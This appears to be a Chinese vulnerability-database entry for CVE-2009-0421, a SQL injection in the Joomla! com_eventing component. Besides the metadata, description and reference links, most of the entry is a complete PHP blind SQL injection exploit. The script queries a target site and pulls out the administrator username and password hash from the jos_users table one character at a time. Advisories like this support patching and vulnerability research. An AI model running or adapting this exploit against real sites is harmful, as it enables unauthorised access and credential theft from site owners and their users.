Joomla! 'com_eventing' SQL注入漏洞

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漏洞ID 1117249 漏洞类型 SQL注入
发布时间 2009-01-15 更新时间 2009-02-05
CVE编号 CVE-2009-0421 CNNVD-ID CNNVD-200902-103
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7793
https://cxsecurity.com/issue/WLB-2009020124
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-103
|漏洞详情
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!Eventing(com_eventing)1.6.x组件存在SQL注入漏洞。远程攻击者可以借助到index.php的catid参数,执行任意的SQL指令。
|漏洞EXP
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                Joomla com_Eventing Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1st  ===
#                           cyb3r-1st@hormail.com
#                      == Writing by Stack - thx m8 - ==
#
# usage : php file.php "http://site.me/index.php?option=com_eventing&catid=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-01-15]
|参考资料

来源:XF
名称:eventing-index-sql-injection(48016)
链接:http://xforce.iss.net/xforce/xfdb/48016
来源:BID
名称:33296
链接:http://www.securityfocus.com/bid/33296
来源:MILW0RM
名称:7793
链接:http://www.milw0rm.com/exploits/7793
来源:SECUNIA
名称:33563
链接:http://secunia.com/advisories/33563